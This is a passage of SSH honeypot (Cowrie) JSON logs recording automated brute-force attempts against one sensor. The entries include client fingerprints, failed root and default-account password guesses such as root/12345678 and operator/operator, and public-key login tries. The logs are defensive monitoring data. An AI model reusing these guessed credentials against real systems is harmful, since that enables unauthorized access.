-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:32.883132Z","src_ip":"45.156.87.147","session":"125937599068","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:33.136758Z","src_ip":"45.156.87.147","session":"125937599068","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:34.221645Z","src_ip":"45.156.87.147","session":"125937599068","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37446,"dst_ip":"10.17.0.5","dst_port":22,"session":"badb6fda5cfa","protocol":"ssh","message":"New connection: 45.156.87.147:37446 (10.17.0.5:22) [session: badb6fda5cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:38.746418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:38.750341Z","src_ip":"45.156.87.147","session":"badb6fda5cfa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:38.835823Z","src_ip":"45.156.87.147","session":"badb6fda5cfa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword1","message":"login attempt [root/P@ssword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:39.086782Z","src_ip":"45.156.87.147","session":"badb6fda5cfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:40.173614Z","src_ip":"45.156.87.147","session":"badb6fda5cfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56504,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9d891896b25","protocol":"ssh","message":"New connection: 45.156.87.147:56504 (10.17.0.5:22) [session: e9d891896b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:44.802585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:44.806332Z","src_ip":"45.156.87.147","session":"e9d891896b25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:44.887733Z","src_ip":"45.156.87.147","session":"e9d891896b25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud-user","password":"password","message":"login attempt [cloud-user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:45.136364Z","src_ip":"45.156.87.147","session":"e9d891896b25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:46.222625Z","src_ip":"45.156.87.147","session":"e9d891896b25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":57124,"dst_ip":"159.203.135.109","dst_port":22,"session":"37557abd7954","protocol":"ssh","message":"New connection: 103.122.221.179:57124 (159.203.135.109:22) [session: 37557abd7954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:49.083856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:49.087476Z","src_ip":"103.122.221.179","session":"37557abd7954","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:49.347366Z","src_ip":"103.122.221.179","session":"37557abd7954","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:50.119751Z","src_ip":"103.122.221.179","session":"37557abd7954","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47430,"dst_ip":"10.17.0.5","dst_port":22,"session":"56aebac9fd8e","protocol":"ssh","message":"New connection: 45.156.87.147:47430 (10.17.0.5:22) [session: 56aebac9fd8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:50.969057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:50.973308Z","src_ip":"45.156.87.147","session":"56aebac9fd8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:51.056569Z","src_ip":"45.156.87.147","session":"56aebac9fd8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:51.306027Z","src_ip":"45.156.87.147","session":"56aebac9fd8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:51.378008Z","src_ip":"103.122.221.179","session":"37557abd7954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:52.390863Z","src_ip":"45.156.87.147","session":"56aebac9fd8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":47446,"dst_ip":"10.17.0.5","dst_port":22,"session":"19341338904d","protocol":"ssh","message":"New connection: 45.156.87.147:47446 (10.17.0.5:22) [session: 19341338904d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:57.154118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:57.160222Z","src_ip":"45.156.87.147","session":"19341338904d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:57.241233Z","src_ip":"45.156.87.147","session":"19341338904d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"passw0rd","message":"login attempt [user/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:57.494177Z","src_ip":"45.156.87.147","session":"19341338904d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:58.578332Z","src_ip":"45.156.87.147","session":"19341338904d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"86.111.176.100","src_port":51502,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bda520a01e6","protocol":"ssh","message":"New connection: 86.111.176.100:51502 (10.17.0.5:22) [session: 5bda520a01e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:59.317497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:59.320805Z","src_ip":"86.111.176.100","session":"5bda520a01e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:59.390700Z","src_ip":"86.111.176.100","session":"5bda520a01e6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:45:79:a5:28:2f:77:96:8c:42:fa:65:68:f9:a3:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCY8ag1ujWhZyedhjqmSZXFZ+uexl1KvjZksNXgTXOqpuKgD2r5FP3+ILV7qsUjdtKxght3PbmZ6YZ19puX9qCoBLM1Zb5jktDaR9aSu+BbUvufb3pRdzZy+m/m7RIqv7LDRMSS/psRXqJWGlfSt5EGcLt4K4/DK/CpYxXlkje7j2b5M9CvS8v+M0bKh2QgVfiPw59LTz/k0o2pQc9E9dGO2Ws1Hkxv7wCMN8fsRT0J7TPe/84OyTCdtqAN5wN1iSdM4cjQtR72ClRQdL3CyDocmHiQ2JQMjm1Em3GH8VVYzXMzeqzYhzr8Ykgt7u/EXq90dSS8c92S4Zp1/+zQxNkV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 97:45:79:a5:28:2f:77:96:8c:42:fa:65:68:f9:a3:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:59.712764Z","src_ip":"86.111.176.100","session":"5bda520a01e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:45:79:a5:28:2f:77:96:8c:42:fa:65:68:f9:a3:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCY8ag1ujWhZyedhjqmSZXFZ+uexl1KvjZksNXgTXOqpuKgD2r5FP3+ILV7qsUjdtKxght3PbmZ6YZ19puX9qCoBLM1Zb5jktDaR9aSu+BbUvufb3pRdzZy+m/m7RIqv7LDRMSS/psRXqJWGlfSt5EGcLt4K4/DK/CpYxXlkje7j2b5M9CvS8v+M0bKh2QgVfiPw59LTz/k0o2pQc9E9dGO2Ws1Hkxv7wCMN8fsRT0J7TPe/84OyTCdtqAN5wN1iSdM4cjQtR72ClRQdL3CyDocmHiQ2JQMjm1Em3GH8VVYzXMzeqzYhzr8Ykgt7u/EXq90dSS8c92S4Zp1/+zQxNkV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:59.714948Z","src_ip":"86.111.176.100","session":"5bda520a01e6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fc:2d:7c:c9:7b:79:8b:56:cb:c6:d8:68:28:d7:fd:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEh1C6RuYuTj4PzMs19CGHprwEpx3kVN21zo3SDDd8blEZMBCVApk0/YbJfv0HObGz3Mx0qQWGNB10+Qzu16MCWHbZg5dIfBYQ6PDZFqsWptjt1gy7isVxej2LtXJuVt6h3Fh03V3a8L8QY+pwya0KBOeS61Uhw8Ak1zeLdeNgox79WtYQZL+TBh5Vi64yKeFpxliCovBg9KQlTyIuYU4zVIsiO8Gi5vdl4mkkVktzLqM6blB6IouRKfxKx33Ez/dRh80SZw5tIYL+771F8erVEmLMDHwJdIZF2IMLvJaVD8YNpxMr/JYakzvf9JR7TvB9xMahDgErwIDTbQoGfHgH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fc:2d:7c:c9:7b:79:8b:56:cb:c6:d8:68:28:d7:fd:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:59.784745Z","src_ip":"86.111.176.100","session":"5bda520a01e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:2d:7c:c9:7b:79:8b:56:cb:c6:d8:68:28:d7:fd:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEh1C6RuYuTj4PzMs19CGHprwEpx3kVN21zo3SDDd8blEZMBCVApk0/YbJfv0HObGz3Mx0qQWGNB10+Qzu16MCWHbZg5dIfBYQ6PDZFqsWptjt1gy7isVxej2LtXJuVt6h3Fh03V3a8L8QY+pwya0KBOeS61Uhw8Ak1zeLdeNgox79WtYQZL+TBh5Vi64yKeFpxliCovBg9KQlTyIuYU4zVIsiO8Gi5vdl4mkkVktzLqM6blB6IouRKfxKx33Ez/dRh80SZw5tIYL+771F8erVEmLMDHwJdIZF2IMLvJaVD8YNpxMr/JYakzvf9JR7TvB9xMahDgErwIDTbQoGfHgH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:59.787019Z","src_ip":"86.111.176.100","session":"5bda520a01e6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:fd:3a:8d:75:50:b2:f3:fa:49:75:de:d1:7e:b4:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClLu+uAFRKoWR9fWsmTRQj4qadeAkWeEuiUustkoJajpL3WAPdDoBBZj8IUJmImhAbheVOCy12eJPIB+B3F22M18STLrr5LSvcrE+GRKwuyBqYruPGsbNOW5pj6BWkRkX+7YQBJGWQaC+G7KNFD8ngpPOUvmkRcl79xY8ahHzI+FVtHi9J/PhRw2AYlF3E05kMgEt7chYWQukwp4gKkV0PAVwHQccHGgMi60RKyyq8BAoP9AX0jjBQ0jyk+hCmo5xJX1TZ1Q2fvwN9nH42Wz+z+Xt8iCRNbmHt5OTREy6BPK0ssooAozegzSqptfyQ6WSgpNGwHn31qDs3CSgmcpiN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:fd:3a:8d:75:50:b2:f3:fa:49:75:de:d1:7e:b4:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:59.855748Z","src_ip":"86.111.176.100","session":"5bda520a01e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:fd:3a:8d:75:50:b2:f3:fa:49:75:de:d1:7e:b4:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClLu+uAFRKoWR9fWsmTRQj4qadeAkWeEuiUustkoJajpL3WAPdDoBBZj8IUJmImhAbheVOCy12eJPIB+B3F22M18STLrr5LSvcrE+GRKwuyBqYruPGsbNOW5pj6BWkRkX+7YQBJGWQaC+G7KNFD8ngpPOUvmkRcl79xY8ahHzI+FVtHi9J/PhRw2AYlF3E05kMgEt7chYWQukwp4gKkV0PAVwHQccHGgMi60RKyyq8BAoP9AX0jjBQ0jyk+hCmo5xJX1TZ1Q2fvwN9nH42Wz+z+Xt8iCRNbmHt5OTREy6BPK0ssooAozegzSqptfyQ6WSgpNGwHn31qDs3CSgmcpiN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:59.858888Z","src_ip":"86.111.176.100","session":"5bda520a01e6","protocol":"ssh"}
